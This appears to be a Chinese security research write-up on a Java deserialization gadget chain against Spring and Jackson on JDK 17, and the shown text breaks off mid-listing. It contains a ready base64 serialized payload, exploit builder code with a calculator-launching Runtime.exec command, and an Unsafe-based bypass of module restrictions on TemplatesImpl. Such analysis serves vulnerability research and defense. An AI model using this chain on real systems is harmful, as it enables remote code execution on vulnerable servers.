高版本jdk下的spring通杀链
高版本spring通杀链
简单分析
我这里是直接搭了一个springboot3环境来进行分析,然后在TemplatesImpl的getOutputProperties()方法打一个断点,在jdk17的环境下简单看了一下调用栈:
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws Exception {
String base64Data = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3EAfgAAP0AAAAAAAAx3CAAAABAAAAACdAACYWFzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAARaAA1lcXVhbHNEZWZpbmVkWgAPaGFzaENvZGVEZWZpbmVkTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7WwARcHJveGllZEludGVyZmFjZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAFWgALcHJlRmlsdGVyZWRMABNhZHZpc29yQ2hhaW5GYWN0b3J5dAA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc29yQ2hhaW5GYWN0b3J5O0wACGFkdmlzb3JzdAAQTGphdmEvdXRpbC9MaXN0O0wACmludGVyZmFjZXNxAH4AE0wADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8+an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHNyADxvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuRGVmYXVsdEFkdmlzb3JDaGFpbkZhY3RvcnlU3WQ34k5x9wIAAHhwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4c3EAfgAZAAAAAXcEAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x/j6ugIAAUwABnRhcmdldHEAfgAFeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAPTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAArvK/rq+AAAAMgAsAQAEVGVzdAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxUZXN0OwwABQAGCgAEAAwBAANwcnQBABBqYXZhL2xhbmcvU3lzdGVtBwAPAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DAARABIJABAAEwEABGRhdGEBABJMamF2YS9sYW5nL1N0cmluZzsMABUAFgkAAgAXAQATamF2YS9pby9QcmludFN0cmVhbQcAGQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMABsAHAoAGgAdAQAIPGNsaW5pdD4BAEUqKioqKioqKioqKioqKioqKioqKioqKioqKiBleHBsb2l0IHN1Y2Nlc3MgKioqKioqKioqKioqKioqKioqKioqKioqKioIACAMAA4ABgoAAgAiAQAKU291cmNlRmlsZQEAC0V4cE9iai5qYXZhAQAMSW5uZXJDbGFzc2VzAQAYamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyBwAnAQAQamF2YS91dGlsL0Jhc2U2NAcAKQEAB0RlY29kZXIAIQACAAQAAAABAAoAFQAWAAAAAwABAAUABgABAAcAAAAvAAEAAQAAAAUqtwANsQAAAAIACAAAAAYAAQAAABYACQAAAAwAAQAAAAUACgALAAAACgAOAAYAAQAHAAAAJgACAAAAAAAKsgAUsgAYtgAesQAAAAEACAAAAAoAAgAAAJgACQCZAAgAHwAGAAEABwAAABYAAQAAAAAAChMAIbMAGLgAI7EAAAAAAAIAJAAAAAIAJQAmAAAACgABACgAKgArAAl1cQB+ACcAAACayv66vgAAADcADAEABVRlc3QyBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAApUZXN0Mi5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEABENvZGUAIQACAAQAAAAAAAEAAQAHAAgAAQALAAAAEQABAAEAAAAFKrcACrEAAAAAAAEABQAAAAIABnB0AAR0ZXN0cHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAARxAH4AHXZyACNvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5TcHJpbmdQcm94eQAAAAAAAAAAAAAAeHB2cgApb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWQAAAAAAAAAAAAAAHhwdnIAKG9yZy5zcHJpbmdmcmFtZXdvcmsuY29yZS5EZWNvcmF0aW5nUHJveHkAAAAAAAAAAAAAAHhwdAACYkJzcgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWFN0cmluZxwKJztIFsX9AgAAeHIAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhPYmplY3T0mBIJu3u2GQIAAUwABW1fb2JqcQB+AAV4cgAsY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLkV4cHJlc3Npb24H2aYcjays1gIAAUwACG1fcGFyZW50dAAyTGNvbS9zdW4vb3JnL2FwYWNoZS94cGF0aC9pbnRlcm5hbC9FeHByZXNzaW9uTm9kZTt4cHB0AAB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAJxAH4AA3EAfgA4cQB+ADNxAH4ACHhxAH4APHg=";
byte[] data = Base64.getDecoder().decode(base64Data);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject();
ois.close();
}
}
关键调用栈如下:
getOutputProperties:608, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
invokeJoinpointUsingReflection:344, AopUtils (org.springframework.aop.support)
invoke:208, JdkDynamicAopProxy (org.springframework.aop.framework)
getOutputProperties:-1, $Proxy0 (jdk.proxy1)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
equals:492, AbstractMap (java.util)
putVal:633, HashMap (java.util)
readObject:1553, HashMap (java.util)
可以看出来起点是HashMap+XString调用toString,这里需要注意一个点,我们前面链子中都是用的BadAttributeValueExpException作为入口点,但是在jdk17这里修改了这个类的readObject()方法:

导致无法在反序列化时调用到toString()方法,所以需要找另外的入口,这里用的HasdhMap+XString就不多说了,非常常见了。
然后根据调用栈来看过程,看起来其实很像之前学过的jackson链不稳定性解决方法的链子,是直接打的动态加载字节码,从而rce。
高版本的加载字节码的限制以及拓展利用
从零分析
我们这里从零开始分析一下jdk17下的"原"TemplatesImpl的rce方法的,基本思路和我们前面学习的动态加载字节码的过程是一样的,可以构造代码如下:
import javassist.*;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception {
patchModule(Main.class);
Class needClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(needClass));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(needClass.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object impl = getObject(clazz);
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
setFieldValue(impl,"_bytecodes",code);
Method method = clazz.getDeclaredMethod("newTransformer");
method.setAccessible(true);
method.invoke(impl);
}
private static void patchModule(Class clazz) throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
Module targetModule = Object.class.getModule();
unsafe.getAndSetObject(clazz, offset,targetModule);
}
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Object getObject(Class clazz) throws Exception{
Constructor constructor = clazz.getConstructor();
constructor.setAccessible(true);
Object impl = constructor.newInstance();
return impl;
}
}
在这里的代码,通过修改当前运行文件的module位置,来获取到要利用的类的构造函数以及一些方法,达到成功创建TemplatesImpl类以及调用其newTransformer()方法的目的,但是运行报错:
Caused by: javax.xml.transform.TransformerConfigurationException: 已加载 Translet 类, 但无法创建 translet 实例。
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:540)
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:554)
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:587)
... 5 more
Caused by: java.lang.IllegalAccessError: superclass access check failed: class Evil (in unnamed module @0x3701eaf6) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x3701eaf6
at java.base/java.lang.ClassLoader.defineClass1(Native Method)
at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1017)
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:207)
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:517)
... 7 more
看这里的报错,非常重要的原因如下:
superclass access check failed: class Evil (in unnamed module @0x3701eaf6) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x3701eaf6
模块化机制的原因,调试一下过程,在如下部分代码运行错误:

这一部分后就会报错退出,原因如上,其实仔细想想这里的过程,确实是虽然我们正常调用了对应的方法并且设置了正确的要求,但是这里的defineClass在定义类的时候,要求的父类AbstractTranslet所处的java.xml模块位置与我们使用javassist生成的Evil类所处的未命名模块位置确实是不同的,由于模块化机制的限制,那么这里是无法成功设置父类并且因违反既定规则导致直接报错退出。
那么如何解决呢,我们是否可以尝试将这个使用javassist生成的Evil类所处的模块位置改成java.xml呢?简单想想本来是以为通过如下代码构造的:
Class clazz0 = cc.toClass();
patchModule1(clazz0);
.
.
.
private static void patchModule1(Class clazz) throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
Module targetModule = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getModule();
unsafe.getAndSetObject(clazz, offset,targetModule);
}
将生成的CtClass转换成Class对象,然后再自定义一个patchModule1()方法将Class对象的module位置改成java.xml,然后再尝试生成byteCode用于defineClass()的加载,但是并没有成功,真正说来其实在如下代码就会报错:
Class needClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(needClass));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(needClass.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
Class clazz0 = cc.toClass();
报错内容如下:
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @673bfdf3
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159)
at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213)
at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52)
at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
at javassist.ClassPool.toClass(ClassPool.java:1240)
at javassist.ClassPool.toClass(ClassPool.java:1098)
at javassist.ClassPool.toClass(ClassPool.java:1056)
at javassist.CtClass.toClass(CtClass.java:1298)
at Main.main(Main.java:21)
很容易看出是调用toClass()时报错,一直跟进,可以知道这里的实质其实也是会调用defineClass来生成Class对象,所以还是会在生成Class对象时由于模块化机制直接报错退出。
这样看起来原来的利用的路是堵死了,但是还是可以绕过达到利用。
绕过高版本限制再次利用
在如下文章提到的利用方法还是比较有意思,而且在低版本应该也是同样可以使用的:
https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/
文章中就提到了如何去除 AbstractTranslet 限制,而正好在前面的分析中,我么就是卡在了父类AbstractTranslet的设置中。
思路非常好,也加深了自己对于代码的理解,确实是之前没想到的。
在前面的基本的利用中,真正用于实例化出发的点在于如下:

这里通过defineTransletClasses()来给_class赋值,然后在后面获取构造器并实例化从而完成一次利用。这里有一个非常关键的变量:_transletIndex,并且是在defineTransletClasses()中有处理的:
其中_class与_bytecodes中的数组个数相关:

后面关键的代码如下:

可以看到这里是调用的for循环来遍历_bytecodes变量并将其赋值给_class数组中,如果满足对应的下表加载出来的Class对象的父类是AbstractTranslet类,那么就会将这里的变量_transletIndex赋值为i,也就是当时遍历对应的下标,在我们最初的加载字节码的过程中,就是将_bytecodes赋值为我们构造好了的byteCode,从而这里for循环的i就会是0从而可以防止满足_transletIndex<0而报错退出,还可以满足前面的getTransletInstance()方法中的_class[0].getConstructor().newInstance()从而完成一次完整过程的利用。这也是前面利用的核心。
但是正如前面所说,要想正常使_transletIndex的值改变,必须满足加载的Class对象的父类为AbstractTranslet,而高版本是无法实现的。再仔细想想前面的流程,最关键的是什么,_transletIndex变量,为什么要满足父类为AbstractTranslet,就是为了让_transletIndex的值变化,我们来关注一下这个变量的实现:

默认值为-1,但是我们可以反射修改。而当父类不是AbstractTranslet会发生什么呢:

往_auxClasses中放入键值对,并且defineTransletClasses()方法的前面逻辑也是体现了赋值情况:

所以其实我们只需要给_bytecodes赋两个byte数组即可,并且控制_transletIndex为合适的下标以匹配defineClass加载后放入到_class数组中的我们自定义的恶意的Class对象(注意还有个防止<0直接报错退出的条件)。
再次尝试构造代码如下:
import javassist.*;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception {
patchModule(Main.class);
//part1
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] classBytes = cc.toBytecode();
//part2
CtClass cc1 = classPool.makeClass("Evil1");
cc1.makeClassInitializer().insertBefore(cmd);
byte[] classBytes1 = cc1.toBytecode();
byte[][] code = new byte[][]{classBytes,classBytes1};
//main
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object impl = getObject(clazz);
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl,"_transletIndex",0);//0或者1都可以
Method method = clazz.getDeclaredMethod("newTransformer");
method.setAccessible(true);
method.invoke(impl);
}
private static void patchModule(Class clazz) throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
Module targetModule = Object.class.getModule();
unsafe.getAndSetObject(clazz, offset,targetModule);
}
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Object getObject(Class clazz) throws Exception{
Constructor constructor = clazz.getConstructor();
constructor.setAccessible(true);
Object impl = constructor.newInstance();
return impl;
}
}
运行弹出计算机,成功构造。
还有个老生常谈的,可以不设置_tfactory,因为TemplatesImpl的readObject()方法是有直接给这个赋值为需要的类实例的。
反序列化调用链分析
经过前面的分析,可以尝试构造代码如下:
import javassist.*;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import com.fasterxml.jackson.databind.node.POJONode;
public class Main {
public static void main(String[] args) throws Exception {
patchModule(Main.class);
//part1
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] classBytes = cc.toBytecode();
//part2
CtClass cc1 = classPool.makeClass("Evil1");
cc1.makeClassInitializer().insertBefore(cmd);
byte[] classBytes1 = cc1.toBytecode();
byte[][] code = new byte[][]{classBytes,classBytes1};
//main
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object impl = getObject(clazz);
setFieldValue(impl,"_name","fupanc");
// setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl,"_transletIndex",0);//0或者1都可以
//修改类方法
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
ctClass.removeMethod(ctClass.getDeclaredMethod("writeReplace"));
POJONode node = new POJONode(impl);
//获取XString类实例
Class clazz123 = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
Constructor constructor123 = clazz123.getConstructor(String.class);
constructor123.setAccessible(true);
Object xString = constructor123.newInstance("fupanc");
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",xString);
hashMap0.put("yy",node);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",node);
hashMap1.put("yy",xString);
hash.put(hashMap0,"1");
hash.put(hashMap1,"2");
}
private static void patchModule(Class clazz) throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
Module targetModule = Object.class.getModule();
unsafe.getAndSetObject(clazz, offset,targetModule);
}
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Object getObject(Class clazz) throws Exception{
Constructor constructor = clazz.getConstructor();
constructor.setAccessible(true);
Object impl = constructor.newInstance();
return impl;
}
}
按照预期这样就可以在Hashtable的第二个put中成功弹出计算机,但是运行报错如下:
Exception in thread "main" java.lang.RuntimeException: com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`: Failed to construct BeanSerializer for [simple type, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl]: (java.lang.IllegalArgumentException) Failed to call `setAccess()` on Method 'getOutputProperties' (of class `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`) due to `java.lang.reflect.InaccessibleObjectException`, problem: Unable to make public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() accessible: module java.xml does not "exports com.sun.org.apache.xalan.internal.xsltc.trax" to unnamed module @673bfdf3
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32)
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136)
at java.xml/com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:391)
at java.base/java.util.AbstractMap.equals(AbstractMap.java:492)
at java.base/java.util.Hashtable.put(Hashtable.java:486)
at Main.main(Main.java:64)
等
从报错看链子应该是对的,但还是因为模块化机制的原因,导致不能正常调用,这里先看一段代码:
POJONode node = new POJONode(impl);
System.out.println("POJONode的:"+node.getClass().getModule());
System.out.println("jdk的:"+Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getModule());
输出为:
POJONode的:unnamed module @673bfdf3
jdk的:unnamed module @673bfdf3
也就是说至少这里加的jackson和spring-aop第三方依赖是没有module-info.java,也就是没有强封装设置,只存在于jdk中,这也就是链子能Hashtable->XString->POJONode调用下去的原因。
再看报错,可以知道大概是因为给TemplatesImpl设置”序列化器“时报错退出,长时间调试分析代码后,发现报错是在如下这段:

所以这里就是在对TemplatesImpl类中的getOutputProperties()方法进行setAccessible(),很明显jackson是第三方库,所以不会同TemplatesImpl类存在于同一个模块中,就会因为违反模块化机制直接报错退出。
调用栈如下:
checkAndFixAccess:996, ClassUtil (com.fasterxml.jackson.databind.util)
fixAccess:139, AnnotatedMember (com.fasterxml.jackson.databind.introspect)
fixAccess:440, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
build:208, BeanSerializerBuilder (com.fasterxml.jackson.databind.ser)
constructBeanOrAddOnSerializer:472, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
findBeanOrAddOnSerializer:294, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createSerializer2:239, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
createSerializer:173, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createUntypedSerializer:1495, SerializerProvider (com.fasterxml.jackson.databind)
_createAndCacheUntypedSerializer:1443, SerializerProvider (com.fasterxml.jackson.databind)
findValueSerializer:544, SerializerProvider (com.fasterxml.jackson.databind)
findTypedValueSerializer:822, SerializerProvider (com.fasterxml.jackson.databind)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
equals:492, AbstractMap (java.util)
put:486, Hashtable (java.util)
main:79, Main
那么如何解决呢,我们可以使用如下代码来看一下java.xml模块export了哪些包可以访问:
import java.lang.module.ModuleDescriptor;
public class Text {
public static void main(String[] args) {
// 这里可以换成 "java.base"、"java.sql" 等模块名
String moduleName = "java.xml";
Module module = ModuleLayer.boot()
.findModule(moduleName)
.orElseThrow(() -> new RuntimeException("未找到模块: " + moduleName));
ModuleDescriptor descriptor = module.getDescriptor();
System.out.println("======== " + moduleName + " 的 module-info.java ========");
System.out.println("module " + moduleName + " {");
// exports
descriptor.exports().forEach(exp -> {
System.out.print(" exports " + exp.source());
if (exp.isQualified()) {
System.out.print(" to " + exp.targets());
}
System.out.println(";");
});
System.out.println("}");
}
}
输出为:
======== java.xml 的 module-info.java ========
module java.xml {
exports com.sun.org.apache.xpath.internal to [java.xml.crypto];
exports com.sun.org.apache.xpath.internal.compiler to [java.xml.crypto];
exports javax.xml.stream.util;
exports com.sun.org.apache.xml.internal.utils to [java.xml.crypto];
exports org.w3c.dom.ls;
exports org.w3c.dom.ranges;
exports org.w3c.dom.events;
exports com.sun.org.apache.xpath.internal.functions to [java.xml.crypto];
exports javax.xml.xpath;
exports javax.xml.transform;
exports org.xml.sax;
exports javax.xml.stream;
exports javax.xml.stream.events;
exports org.w3c.dom.traversal;
exports com.sun.org.apache.xpath.internal.objects to [java.xml.crypto];
exports javax.xml.catalog;
exports com.sun.org.apache.xpath.internal.res to [java.xml.crypto];
exports com.sun.org.apache.xml.internal.dtm to [java.xml.crypto];
exports javax.xml.datatype;
exports javax.xml.transform.sax;
exports javax.xml;
exports org.xml.sax.ext;
exports javax.xml.parsers;
exports javax.xml.validation;
exports javax.xml.transform.dom;
exports javax.xml.transform.stream;
exports org.w3c.dom;
exports org.w3c.dom.bootstrap;
exports org.w3c.dom.views;
exports org.xml.sax.helpers;
exports javax.xml.transform.stax;
exports javax.xml.namespace;
}
其中可以看到一个完全导出的包:javax.xml.transform。这个包下有一个非常重要的并且我们经常使用的类:Templates接口类。
这个类存在getOutputProperties()方法,基本获取getter方法的流程就看不稳定性解决链子的分析文章即可,那么我们就可以将代码改成如下:
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
